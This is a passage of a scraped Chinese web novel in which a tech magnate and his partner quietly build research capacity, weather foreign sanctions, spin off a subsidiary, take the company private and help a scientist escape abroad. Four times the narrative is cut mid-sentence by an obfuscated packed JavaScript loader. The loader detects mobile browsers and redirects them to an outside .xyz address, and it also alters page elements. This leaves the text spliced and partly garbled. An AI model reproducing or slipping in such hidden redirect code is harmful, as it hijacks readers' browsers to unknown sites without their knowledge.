这些发生在水面之下的巨大动作，外人无从窥见。 商界看到的，是渊龙科技在“天枢OS”大获全胜后，并未乘胜追击，反而做出了一系列令人费解的动作。 …… 清晨，六点半。 云顶壹号的公寓里，阳光刚刚越过地平线。 陆沉渊已经结束了晨练，正在厨房里准备早餐。 咖啡机发出轻微的研磨声。 平底锅里，鸡蛋滋滋作响。 墨清漓从卧室走出来，身上穿着陆沉渊的一件白衬衫，下摆很长，堪堪够到大腿。 她头发微乱，带着刚睡醒的慵懒，很自然地从身后环住陆沉渊的腰。 下巴轻轻搁在他的肩上。 “早。”她的声音还有些沙哑。 “早。”陆沉渊没有回头，精准地将烤好的、还带微温的吐司递到她嘴边。 墨清漓张口咬住。 她就这么靠着他，看着他有条不紊地准备好两份一模一样的早餐。 这个公寓，已经和一年前完全不同了。 书房里，多了一整面墙的艺术史和经济学典籍，那是她的书。 阳台上，多肉和绿萝长势喜人，那是她闲暇时打理的。 客厅的沙发上，放着她最喜欢的羊绒盖毯。 衣帽间里，他的西装和她的长裙，泾渭分明，又无比和谐地挂在一起。 这里，终于有了一点“家”的味道。 吃早餐的时候，陆沉渊的私人终端亮了一下。 是一条来自任茜的加密信息。 “陆总，第一所专科学校的校址，已经选好了。” “‘渊龙科技专科学校’。” “按照你的要求，招生标准只面向本科及以上学历的毕业生。这个……是不是太高了？业界都在看我们的笑话，说我们是空中楼阁，白费钱。” 陆沉渊看完，没有回复。 墨清漓抬眼看他：“遇到麻烦了？” “不算麻烦。”陆沉渊喝了一口咖啡，“只是很多人不理解。” “他们想要的是能立刻上生产线的技术工人。”墨清漓一语中的， “而你想要的，是能坐十年冷板凳，最终成为一代宗师的工匠和工程师。” 陆沉渊笑了。 “知我者，清漓也。” “所以，不用理会。”墨清漓放下刀叉，用餐巾擦了擦嘴角，“时间会证明一切。” “嗯。” 两人吃完早餐，各自去换衣服。 十分钟后，两个衣着光鲜、气场强大的商业巨头，并肩走出公寓门。 他们像这座城市里，最普通的一对情侣。 一起上班，一起下班。 只不过，他们的战场，是整个世界。 …… 时间，是最好的证明。 一年过去了。 陆沉渊的名字，在媒体上出现的频率越来越低。 取而代之的，是林远。 他作为渊龙科技的联席CEO，频繁地出席各种商业活动和峰会。 他沉稳，务实，言语不多，但每一句话都分量十足。 他完美地执行着陆沉渊的意志，成为了渊龙科技最稳固的“门面”。 而陆沉渊，则像一个退居幕后的幽灵。 他不再接受任何采访，不再参加任何公开活动。 京州的商界，渐渐失去了他的消息。 关于他的传说，却越来越多。 有人说他沉迷享乐，金屋藏娇。 有人说他野心燃尽，准备退休。 没人知道，这个男人，正在用一种超乎所有人想象的方式，改变着未来。 “汗青科技”像一头深海巨兽，无声地吞噬着渊龙科技输送的巨额资金，在基础科学的深海里，默默下潜。 “连山科技”则像一张遍布全球的巨网，将渊龙的产品和标准，与世界各地的供应商和市场，死死地捆绑在一起。 那所被嘲笑的“大专学校”，第一批两百名学生，已经完成了基础课程。 他们没有去生产线实习。 而是被陆沉渊用重金，集体送往了A国、J国、H国……那些拥有全球最顶尖半导体产业的国家。 进行为期半年的“研学”。 这个决定，再次引爆了**。 “渊龙科技疯了！” “这是花钱给对手培养人才！” “陆沉渊到底在想什么？” 外界的喧嚣，传不到陆沉渊的耳中。 今天，陆沉渊正和墨清漓一起，在京州郊外的一处农场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348550|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 正是摘草莓的季节。 陆沉渊提着篮子，墨清漓负责挑选。 她今天穿着一身米色的休闲装，戴着一顶草帽，脸上带着轻松的笑意。 她摘下一颗最红的，擦也没擦，直接塞进陆沉渊的嘴里。 “甜吗？”她仰着脸问他。 “甜。”陆沉渊嚼着草莓，看着她的眼睛。 阳光落在她的脸上，她的眼睛里，比阳光更明亮。 “他们都说你疯了。”墨清漓也摘了一颗，自己吃了起来。 “嗯。”陆沉渊心不在焉地应着。 “把我们最聪明的脑袋，送到竞争对手那里。” “闭门造车，永远造不出最好的车。”陆沉渊说， “不站在巨人的肩膀上，怎么能比巨人看得更远？” “我让他们去，不是去偷技术。” “是去学习，去感受，去理解，别人领先我们一百步的背后，那一百步的路，到底是怎么走过来的。” “是去看别人的管理，别人的标准，别人的试错过程。” “这些，是关在实验室里，永远学不到的。” 墨清漓静静地听着。 她知道，这个男人在下一盘很大的棋。 大到，甚至不惜背负骂名，不惜付出惊人的代价。 “阿渊。”她轻声叫他。 “嗯？” “你做这些，是为了渊龙，还是为了……”她没有说下去。 陆沉渊沉默了片刻。 他看向远方，那里的天空，蓝得很高远。 “清漓，我跟你讲过我长大的那个村子。” “我记得。” “那里很穷，但人们很善良。他们觉得，读书是唯一的出路。村里唯一的那个小学老师，撑了四十年，教出去了几百个学生。” “他常说一句话。” “他说，他教出去一个学生，就像种下了一棵树。” “几百棵树，在外面扎了根，总有一天，会有一片林子，能回来庇护这个村子。” 陆沉渊转过头，看着墨清漓。 “我不是那个老师。但我想学他，当一个种树的人。” 墨清漓的心，被轻轻地触动了。 她走上前，握住他的手。 “那我陪你。”她说，“我帮你浇水，施肥。” 陆沉渊反手握紧她。 “好。” 第105章 时间的河（续） 又过了一年。 陆沉渊的种树计划，在更隐秘的层面，开始了。 张奇成了这个计划的执行人。 他以一个新成立的“远方国际人才交流基金会”理事长的身份，开始频繁地往返于A国、Y国等顶级学府和科研机构。 这个基金会，表面上是远方慈善基金会的分支，致力于学术交流。 实际上，它的唯一目标，是接触那些在海外，已经取得顶尖成就的夏国科学家。 第一次接触，往往以失败告终。 “我很感谢你们的好意。但是，我在MIT的实验室，是世界顶级的。我的团队，我的项目，都在这里。回国？我回去能做什么？” 这是一位诺奖级别的生物学家，最直接的回答。 “国内的科研环境，还是太浮躁了。到处都是KPI，到处都是项目申报。我只想安安静静做研究。” 这是一位在人工智能领域，早已声名鹊起的青年科学家的顾虑。 张奇没有反驳。 他只是将一份份详细的资料，递到他们面前。 资料上，没有空洞的爱国口号，没有虚无的承诺。 只有“汗青科技”过去两年的成果。 那些不计成本的基础研究投入。 那些绝对以科学家为核心，不受任何行政干预的项目管理制度。 还有陆沉渊亲手设计的，堪称奢侈的薪酬和股权激励方案。 以及一份长达数十页的，关于未来实验室的建设蓝图。 从仪器设备，到团队配置，再到生活保障，事无巨细。 “陆总说，他无法立刻给各位一个世界顶级的实验室。”张奇平静地转述着陆沉渊的话。 “但他承诺，会为各位打造一片全世界最肥沃、最自由的科研土壤。” “我们现在没有梧桐树，但我们在努力地改良土壤。” “我们相信，只要土壤足够好，树，自己会开花结果，最终引来凤凰。” 大部分科学家，依旧选择观望。 但怀疑的冰层，已经开始松动。 有几颗种子，已经悄悄地，埋进了他们的心里。 张奇将这些反馈，原封不动地汇报给了陆沉渊。 陆沉渊只是平静地听着，似乎早已预料到。 “张奇，我们之前通过第三方智库提交的那份《关于优化顶尖科研人才引进环境的若干建议》，有后续吗？”陆沉渊像是随口一问。 “有。”张奇的眼神亮了一下， “报告据说已经放在了相关部门领导的案头。前几天我通过侧面渠道了解到，新一轮的科技人才扶持政策正在酝酿，很多思路，和我们的报告不谋而合。” “那就好。”陆沉渊点了点头，目光望向窗外， “我们只负责提问题，提供可行的思路。采纳与否，如何采纳，那是他们的事。守住本分，做好企业该做的事。” 张奇心领神会。 这便是陆沉渊的行事准则： 敏锐地嗅到方向，以专业的方式提出建议，却从不试图干涉和深入，始终与漩涡保持着最安全的距离。 …… 这两年，陆沉渊和墨清漓的生活，平静得像一首舒缓的诗。 春天，他们会去郊区的农场。 夏天，他们会去海边住几天，看日出日落。 秋天，他们会一起去逛美术馆和博物馆。 冬天，他们会窝在家里，一人一本书，一杯热茶，坐上一个下午。 陆沉渊的厨艺越来越好。 他甚至学会了做极其复杂的苏帮菜和粤菜。 墨清漓被他养得，脸颊都圆润了一些。 她也学会了煮鸡蛋、摊鸡蛋，以及炒鸡蛋…… 虽然，炒鸡蛋的话，味道总是差了那么一点意思。 但陆沉渊每次都吃得干干净净。 他们的感情，没有惊天动地的誓言，没有轰轰烈烈的痴缠。 就像一株植物，在安静的时光里，慢慢地，长出深扎于土壤的根，长出繁茂坚韧的叶。 融入了彼此的生命，成为了对方最不可或缺的空气和水。 陆沉渊和墨清漓的云顶壹号公寓，隐隐变成身边亲密之人的精神港湾。 陆若溪和苏阳是常客。 甚至，当陆若溪和苏阳过来时，苏阳会承包整个厨房。 这一点倒是让陆沉渊对苏阳的认可又提高了几分。 只是，苏阳越来越觉得看不懂自家大舅哥了。 明明看似越来越平和的一个人，却越来越深不可测。 陆芊芊一年也没几天在国内。 只要回国，就一定要在云顶壹号吃一顿大哥亲自做的饭。 唯一让陆沉渊松了一口气的是，今年陆芊芊回国后，姬无双把婚结了。 陆沉渊这才知道当初是虚惊一场。 姬无双结婚时，陆沉渊包了一个大大的红包。 当姬无双看到红包数额时，以为陆总是不是输错零了。 陆沉渊似乎知道姬无双的想法似的，告诉她这是“伴侣补偿金”。 偶尔，林远和任茜会一起来家里做客。 林远和任茜已经正式在一起。 不过似乎真的是工作太忙了，这两个人似乎还没有结婚的计划。 而对于陆沉渊，墨清漓知道，看似平静的日子表面下，陆沉渊正在下一盘很大的棋，大到墨清漓都不愿意让任何事情打断他。 楼梦玲找回自我后，似乎精神上有了某种蜕变，在艺术上隐隐有大器晚成的气象。 楼梦玲的画被海州的一个画廊看中。 画廊背后的老板一方面看重楼梦玲的画，一方面却是看重楼梦玲身份价值，居然几次亲自过来谈合作。 楼梦玲本来就是过来人，几次接触之后，就察觉出此人对自己似乎生出一些不一样的情感。 楼梦玲在不知道怎么抉择时，居然下意识地就开车到了大儿子家。 陆沉渊自然知道有这么一个人，只是长辈的事，并不好明说。 陆沉渊给母亲做好饭后，只是说了句，“妈，这个世间，任何美好事，你都值得。而且，咱们并不惧怕任何试错的机会。” 楼梦玲看着能给自己遮风挡雨地儿子，心中地顾虑彻底放下。 三个弟弟，似乎不好意思上门打扰。 不过陆沉津倒是会因为工作的原因过来几次。 …… 第三年。 世界局势的风，开始变了。 A国以“**”为由，对多家夏国科技公司发起了制裁。 虽然炮火暂时还未对准渊龙科技这个巨头。 但空气中，已经充满了**味。 全球化贸易的黄金时代，肉眼可见地正在走向终结。 夏国国内的商界，一片风声鹤唳。 许多严重依赖海外供应链和市场的企业，股价暴跌，陷入了巨大的困境。 这时，人们才猛然想起，三年前，渊龙科技那些看似“疯狂”的举动。 “渊龙科技专科学校”的第一批毕业生，已经回国。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348551|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们没有成为宗师，但他们带回来的，是宝贵的经验，是先进的理念，是对差距的清醒认知。 这些人，被国内各大科技公司，以天价疯抢。 他们成了黑暗中，最珍贵的火种。 渊龙科技自己，却只留下了不到十分之一的人。 因为，更厉害的人，要来了。 当初持观望态度的诺奖级生物学家，给张奇发来了邮件。 “我看到了你们的诚意。也看到了外部环境的变化。” “我的项目，需要一个新的、更安全的环境。” “如果你们的承诺依然有效，我的团队，准备回国。” 第一棵大树，终于决定回归故土。 这只是一个开始。 在接下来的几个月里，陆陆续续，有十几位世界级的夏国科学家，选择接受“汗青科技”的邀请。 陆沉渊三年前改良的土壤，终于迎来了第一批归来的凤凰。 渊龙科技，在所有人看不见的地方，已经完成了最关键的布局。 它的根，凭借着“汗青科技”深深地扎进了夏国最底层的技术土壤里。 它的枝叶，依旧通过“连山科技”，与世界紧密相连。 它成了一个打不垮，也离不开的，矛盾而又强大的存在。 …… 这一天，是陆沉渊的生日。 墨清漓没有准备盛大的派对。 她亲自下厨，做了一桌算不上多美味，但心意十足的菜。 她还订了一个小小的蛋糕。 公寓里，只有他们两个人。 窗外，是京州璀璨的夜景。 电视里，财经频道正在播报着紧急新闻。 “……A国商务部于今日凌晨，正式宣布，将对夏国半导体、人工智能等多个关键领域，实施全面的技术出口管制。并将包括渊龙科技在内的三十七家夏国企业，列入实体清单……” 主持人凝重的声音，回荡在安静的客厅里。 暴风雨，终究还是来了。 而且比所有人预想的，来得更猛烈。 墨清漓拿起遥控器，关掉了电视。 房间里，瞬间安静下来。 她看向陆沉渊。 他的脸上，没有任何意外，也没有任何惊慌。 只有一种，如释重负的平静。 仿佛在说：啊，该来的，终于来了。 “生日快乐，阿渊。”墨清漓端起酒杯，对他微笑。 “谢谢。”陆沉渊也端起酒杯，和她轻轻一碰。 清脆的响声，像是在为某个旧时代的落幕，献上最终的礼炮。 “他们都说，夏国的科技产业，要迎来最冷的冬天了。”墨清漓轻声说。 “是啊。”陆沉渊喝了一口红酒，“但我们不怕冷。” 他放下酒杯，握住她的手。 “三年前，我开始种树。” “现在，冬天来了，我们的树，已经长大了。” “它们或许还不够茂盛，但足以庇护我们，度过这个冬天。” 他看着她的眼睛，目光深邃而温柔。 “而且，冬天来了，春天还会远吗？” 墨清漓笑了。 她站起身，走到他身边，俯身，吻住了他的唇。 窗外，风雨飘摇。 室内，春光荡漾。 这个夜晚，会很长。 但他们知道，等太阳升起时，一个新的时代，也将随之而来。 一个属于他们的，波澜壮阔的时代。 第106章 惊蛰（四千字大章） 天亮了。 今天京州的黎明，与往日似乎并无不同。 但是，这个世界却已经发生了天翻地覆的变化。 财经新闻的头条，被加粗的红色字体占据： A国正式公布控制清单，渊龙科技首当其冲 全球科技股应声暴跌，市场恐慌情绪蔓延 供应链告急！夏国科技产业面临历史性考验 云顶壹号，顶层公寓里。 陆沉渊的私人终端从凌晨五点开始，就没停过。 但是，他设置了静音。 厨房里，只有咖啡豆被研磨的细微声响。 陆沉渊在准备早餐，依然是两份，和过去一千多个清晨并无二致。 过了一会儿，墨清漓从卧室走出来。 此时的墨清漓已经换好了衣服，和往常一身慵懒的家居服不同，而是一身利落的职业套装。 她走到他身后，没有像往常一样拥抱他。 只是静静地站着，然后轻声说道， “所有合作方的紧急通讯请求，都转到我这里了。” “我让林远和张奇在处理了。”陆沉渊回答道，然后将煎好的鸡蛋盛入盘中。 “嗯。” “渊龙的股价，开盘后三分钟，跌停。” “意料之中。” “墨氏也受到了波及，跌了七个点。” “我会让墨家增持。” 陆沉渊将早餐放在餐桌上，然后平静地说道，“饭好了，先吃饭吧。” 随后，两人相对而坐。 窗外的世界风雨欲来，餐桌上的方寸天地平静如常。 没有焦虑。 没有抱怨。 只有餐具碰撞瓷盘的轻响。 仿佛那场席卷全球的风暴，只是一则与他们无关的晨间新闻。 吃完早餐，墨清漓站起身。 “我要去公司了。墨家需要我的声音。” “好。” 她走到门口，又停下脚步，回头看他。 “阿渊。” “嗯？” “今天，会很长。” “我知道。”陆沉渊看着她，眼神平静而坚定，“去吧。” 墨清漓点点头，转身离开。 门关上的瞬间，她脸上的柔软迅速褪去，只剩下属于墨氏掌门人的清冷与决绝。 陆沉渊独自收拾好餐具。 然后，他拨通了林远的内部专线。 “会议室准备好了吗？” “好了，陆总。所有人，都到了。” “我马上到。” 渊龙科技总部，顶层会议室。 巨大的环形会议桌旁，坐着渊龙科技所有核心高管。 林远、任茜、张奇…… 每个人的脸色都无比凝重。 会议室墙上的巨大屏幕上，正实时滚动着全球股市的数据。 代表夏国的一众科技公司，是一片惨烈的红色。 而作为夏国科技股的龙头，渊龙科技的股票代码，被死死地钉在跌停板上。 这时，突然门口传来一声轻响，门开了，陆沉渊走了进来。 他穿着简单的白衬衫和黑色西服套装，神色平静，步履沉稳。 他没有看屏幕，径直走到主位上。 陆沉渊并没有马上说话，而是先环视一周。 所有人的目光，都聚焦在他身上。 那是风暴中，唯一的定海神针。 “各位。” 陆沉渊开口了，声音不大，却清晰地传到每个人耳中。 “我提出‘种树计划’的时候，很多人不理解。” “我让你们不计成本投入基础研究，很多人有疑虑。” “我让林远拆分业务，成立‘连山’，很多人在观望。” 他顿了顿，目光扫过在场的每一个人。 “今天，‘惊蛰’计划，正式启动。” 陆沉渊的话音落下，然后看向林远。 林远微微点头，站了起来。 “陆总。‘连山科技’已经启动全部备用供应链协议。我们在E洲和东南亚的深度绑定厂商，可以对冲掉百分之七十的A国物料断供风险。另外……” 林远深吸一口气，声音有些沙哑。 “按照‘惊蛰’计划的最高预案，从现在起，我将带领‘连山科技’，正式脱离渊龙科技。在法律和股权上，完成彻底切割。” 会议室里一片死寂，大部分人都惊愕地看着林远。 “惊蛰”计划作为最高级别的方案，一开始，只是四人核心组完全掌握。 其他不同级别的高管，根据自身权限，只能掌握相关的信息。 所以，当林远宣布“连山”科技脱离渊龙科技时，很多人还是被震惊到了。 这是釜底抽薪。 也是壮士断腕。 为了规避制裁，让渊龙最关键的全球化业务能活下去，林远选择带着“连山”，成为独立的“友商”。 “我同意。”陆沉渊看着林远，眼神里有赞许，也有一丝不舍。 “陆总……”林远的声音里，第一次带上了情绪。 “去吧。”陆沉渊只说了两个字， “渊龙，需要一个在外面呼吸的朋友。” 林远重重地点了点头，坐下。 接着，任茜站了起来。 她看上去有些疲惫，眼神却异常明亮。 “‘汗青科技’，将在一小时后，召开线上发布会。公布我们在芯片、材料学、光子计算和基础算法领域的十七项研究成果。这些成果，有些可以直接推向市场，有些虽然短期内无法转化为产品，但足以向市场证明，我们有饭吃，饿不死。” “很好。”陆沉渊点头。 最后，他看向张奇。 “张奇。” “在，陆总。”张奇立刻站直了身体。 “从今天起，你接任渊龙科技集团联席CEO。” 张奇猛地抬头，眼中满是震惊。 “我？” “对，你。”陆沉渊的语气不容置疑，“林远出走，我需要退到幕后，稳住‘汗青’这块基石。渊龙这艘船，需要一个新的船长。你最合适。” 张奇嘴唇动了动，最终化为一个字。 “是！” “会议结束。” 陆沉渊站起身，走向门口。 “各位，现在仅仅是开始，准备战斗吧。” 陆沉渊说完了这句话，没有再回头，留给所有人的，是一个决绝而孤高的背影。 当陆沉渊走出会议室时，真正的风暴中心，才刚刚开始汇聚能量。 渊龙科技研究所，人工智能实验室。 气氛，比总部的会议室更加凝重。 或者说，是死寂。 巨大的服务器集群，指示灯不再是代表运行的绿色，也不是代表锁死的红色。 而是一片代表着低效运行的，令人焦灼的黄色。 苏阳的双手停在键盘上，一动不动。 他的眼睛里布满了血丝。 “不行……”他喃喃自语，声音沙哑，“切换到‘汗青’的‘乾坤’一号芯片后，算力……至少有30%的差距。” 一个年轻的研究员声音发颤：“我们已经按照预案，将‘女娲’模型迁移到了自己的硬件平台上。但是……但是‘乾坤’的架构和A国的主流芯片不同，我们的算法无法完全发挥它的性能。” “这不只是性能差距的问题。”另一位资深工程师脸色苍白， “这等于说，我们在一条更颠簸、更狭窄的赛道上，去追赶一辆F1赛车。所有的训练、迭代、优化……全部都要推倒重来！” 陆若溪站在巨大的数据瀑布屏幕前。 她已经站了三个小时，脸上没有表情。 只是看着屏幕上，那一行行因为硬件不匹配而不断跳出的警告和效率折损报告。 她的内心，有愤怒，有不甘，更有被强行拖入泥潭的窒息感。 她和团队耗费了无数心血，视若珍宝的“女娲”，在A国的顶尖硬件上，曾是世界的王者。 如今，却要在自己尚不成熟的土地上，蹒跚学步。 实验室的电视，正在播放新闻。 思特拉公司的CEO马克，意气风发地宣布，他们的大模型“普罗米修斯”，在最新的全球AI能力排行榜上，已经超越了“女娲”，登顶第一。 “一个无法在最强硬件上奔跑的模型，只是一个实验室的标本。”马克笑着说，言语中充满了傲慢。 屏幕上，苏阳团队去年夺冠的照片，被当作背景板，一闪而过。 那是无声的，也是最残忍的羞辱。 “啪！” 一个研究员狠狠一拳砸在桌子上。 “欺人太甚！” “他们垄断了高速公路，还嘲笑我们的车跑不快！” 苏阳的脸色，也变得铁青。 这不是技术上的失败，这是规则上的霸凌。 就在这时，陆若溪缓缓转过身，她走到苏阳身边。 “他们想让我们，走他们修好的路，用他们的尺子来衡量我们。” 她的声音很轻，却异常清晰，瞬间压过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348552|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了室内所有的嘈杂。 所有人都看向她。 苏阳抬起头，看着她。 “若溪……” “但如果，”陆若溪的眼睛里，重新燃起了光，“我们换一条路，换一把尺子呢？” 她拿起一支笔，在白板上飞快地写下一行全新的架构符号。 那不是对“女娲”的修补，而是一种颠覆性的创造。 “‘女娲’的算法，是为了兼容和适配他们的硬件而生的。它追求的是普适性。” “所以，当他们抽掉最肥沃的土壤时，我们就水土不服。” “既然如此，我们就放弃兼容。” 她用笔，重重地圈住了“乾坤”两个字。 “我们要创造一种全新的算法架构。一种……只为‘乾坤’而生的算法。” “我们要榨干我们自己这块芯片的每一个晶元，让算法与硬件，达到完美的共生。” “他们追求的是用更强的算力，暴力破解难题。” “而我们，要追求用最极致的算法，用最优雅的方式，让我们的‘乾坤’，发挥出超越它物理极限的能量。” “这……这不可能。”一个资深算法工程师下意识地反驳， “这不仅仅是重写模型，这是在创造一种新的AI哲学！我们没有可以参考的理论！” “理论，就是用来被挑战的。” 陆若溪的目光扫过每一个人，那目光里有火焰。 “他们有算力的优势，但我们，有算法的自由。” “从今天起，‘女娲’项目组，转入‘开天’计划。” 她的声音不大，却像一道惊雷，劈开了实验室里所有的绝望和迷茫。 “我们要做的，不是给‘女娲’升级。” “而是，用我们自己的砖，盖一座全新的，通天之塔。” “我们要让世界看到，在这条赛道上，最终决定胜负的，不是马力的大小。” “而是，车手的灵魂。” 苏阳看着她，看着她眼中那不灭的，甚至比以往更加炽热的火焰。 他知道，一场更艰难，更孤独，却也更伟大的战争，开始了。 夜，深了。 陆沉渊回到了云顶壹号。 他没有开灯，只是走到巨大的落地窗前，看着脚下这座城市的灯火。 手机上，是林远发来的最后一条信息。 陆总，保重。 从现在起，他们就是商场上的“陌生人”了。 他拿出一瓶酒，给自己倒了一杯。 他没有喝酒。 只是静静地站着。 他在想的，不是股价，不是供应链，也不是那个叫“开天”的计划。 他在想的，是很多年前，他扶贫的那个小山村。 村里的孩子，没鞋穿。 冬天，脚都冻裂了。 他想给他们买鞋。 但他知道，买一百双鞋也解决不了问题。 明年，他们还是没鞋穿。 他要做的是，修一条路出去，让村里的特产能卖出去。 让村民有钱。 他们自己，就能给孩子买鞋。 还能买更好的。 “授人以鱼，不如授人以渔。” “种树，而不是摘果子。” 这些道理，他早就懂了。 只是这一次，这片土地，更大。 这棵树，更难种。 这时，他身后传来了开门声。 墨清漓回来了。 她脱掉了高跟鞋，赤着脚，悄无声息地走到他身后。 从背后，轻轻地环住了他的腰。 “结束了？”陆沉渊问。 “第一天，结束了。”墨清漓把脸颊贴在他的背上，“很累。” “我知道。” “清漓，我们会走过去的。” 陆沉渊转过身，看着她。 她的脸上，写满了疲惫。 但她的眼睛，依旧像星辰一样明亮。 她踮起脚尖，吻了吻他的嘴唇。 “我相信你。” “我相信你三年前种下的那些树。” “现在，它们会成为我们的森林。” 陆沉渊看着她，心中所有的压力，所有的疲惫，仿佛都在这一刻，被她的温柔抚平。 他将她紧紧地拥入怀中。 “冬天来了，春天总会来。” “我陪你等。”墨清漓在他怀里轻声说。 窗外。 风暴依旧在肆虐。 但这个怀抱，很暖。 第107章 飞鸿与归雁 风暴之后，并未迎来平静。 而是另一场，更大的风暴。 清晨七点，一则由渊龙科技官方渠道发布的公告，引爆了整个商界。 公告内容很简单。 只有两行字。 “即日起，连山科技将作为独立实体运营，其全部股权已完成转让，与渊龙科技不再存在任何法律及商业从属关系。” “祝愿连山科技前程似锦。” 落款，是渊龙科技董事会。 这条公告，像一颗深水**。 所有人都懵了。 “什么意思？” “把最赚钱的全球供应链业务，直接卖了？” “陆沉渊这是自断双臂？” “疯了，彻底疯了！” 媒体的电话，几乎打爆了渊龙科技所有对外公布的号码。 但是，无人接听。 市场给出了最直接的反应。 刚刚经历跌停的渊龙科技，在开盘前的盘前交易中，再次暴跌。 所有人都认为，这艘巨轮，快要沉了。 云顶壹号。 陆沉渊正在看一份文件。 不是公司财报，而是一份海外人才归国风险评估报告。 墨清漓手里端着一壶刚泡好的龙井。 她已经换下了昨天的职业套装。 穿了一身舒适的米白色居家服。 她将茶放到陆沉渊手边，看了一眼终端上的新闻。 “卖掉‘连山’，等于放弃了海外市场百分之六十的缓冲地带。”她说。 “不。”陆沉渊头也没抬，“是给它一张通行证，让它在外面，能更自由地呼吸。” 墨清漓点点头，她懂。 成为“敌人”，有时是最好的保护。 “下一步呢？”她问。 “退市。”陆沉渊吐出两个字。 墨清漓倒茶的手，微微一顿。 随即，恢复了平稳。 她看着他，眼中没有惊讶，只有了然。 “想好了？” “想好了。”陆沉渊说，“渊龙不需要对股民负责，不需要对股价负责。” “它只需要对技术负责，对未来负责。” “上市公司的枷锁，太重了。” “我需要它成为一头，只听我命令的，关在笼子里的怪兽。而不是一头，需要不断喂食，取悦所有人的宠物。” 墨清漓将一杯温热的茶，推到他面前。 “好。我让墨家的基金，帮你完成私有化。” “我需要他们，在二级市场，尽可能多地吸收流通股。”陆沉渊说。 “没问题。”墨清漓答应得干脆利落。 仿佛他们讨论的，不是一桩涉及万亿市值的商业操作。 而只是，晚上吃什么。 上午九点。 渊龙科技总部。 新任联席CEO张奇，召开了他上任后的第一次全员线上大会。 他的背景，是巨大的渊龙科技LOGO。 “我宣布，渊龙科技将启动私有化进程。” “公司将以IPO发行价，溢价百分之二十，收购市场上所有的流通股。” “我们，要回家了。” 张奇的声音通过网络，传遍了渊龙科技全球所有的办公室。 如果说，剥离“连山”是震惊。 那么，宣布退市，就是颠覆。 一个正值巅峰的万亿科技巨头，主动选择离开资本市场。 这在世界商业史上，闻所未闻。 “他们为什么要这么做？” “他们不缺钱！” “陆沉渊到底想干什么？” 无数的疑问，盘旋在每个人的心头。 但渊龙科技，没有给他们答案。 这头巨兽，在所有人的注视下，开始收回它的触角，关上了通往外界的大门。 它选择，潜入深海。 A国。 西海岸的一栋别墅里。 李振华博士，正在焦急地踱步。 他是全球最顶尖的光刻胶专家之一。 也是A国控制清单上，被限制离境的高级技术人才。 他的手机，已经被监控。 他的实验室，也已经被A国“保护”了起来。 他像一只被困在黄金笼子里的鸟。 就在他快要绝望的时候，一个陌生的电话，打了进来。 电话里，只有一个声音。 “李博士，去唐人街，第三大道的‘王记茶餐厅’。” “点一份‘全家福’套餐。” “记住，什么都不要带。” 李振华心头一震。 这是他们和“远方国际人才交流基金会”约定的暗号。 他知道，张奇的人，来接他了。 半小时后，李振华出现在了茶餐厅，进入一个包厢。 他很紧张，他知道周围有很多双眼睛在盯着他。 他坐下，对服务员说：“一份全家福。” 服务员点点头，很快，端上了一个巨大的餐盘。 上面盖着盖子。 李振华打开盖子。 里面没有食物。 只有一套清洁工的衣服，一顶帽子，和一个地址。 他明白了。 五分钟后。 李振华从茶餐厅的后门离开，已经换上了清洁工的衣服。 他推着垃圾车，走进了旁边的一条小巷。 巷子的尽头，停着一辆不起眼的货车。 车门打开了，他毫不犹豫地钻了进去。 车子启动，汇入了滚滚车流。 三个小时后。 一架从邻国起飞的私人飞机，悄然降落在京州国际机场。 舱门打开，李振华和他的五位核心团队成员，走下舷梯。 刺眼的阳光，让他有些睁不开眼。 空气中，却是他熟悉的味道。 他深吸一口气，回家了。 渊龙科技方面，前来接机的是任茜。 她没有说任何欢迎的话，只是递给他一份文件。 “李博士，欢迎加入汗青科技。” “这是您未来实验室的建设计划书，三个月内，我们会按照全球最高标准，为您建成。” “您的家人，我们已经全部接到了京州，安顿好了。” “现在，我带您去见一个人。” 李振华看着文件，手在微微颤抖。 他为这一天，等了太久。 渊龙科技专科学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348553|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校，食堂。 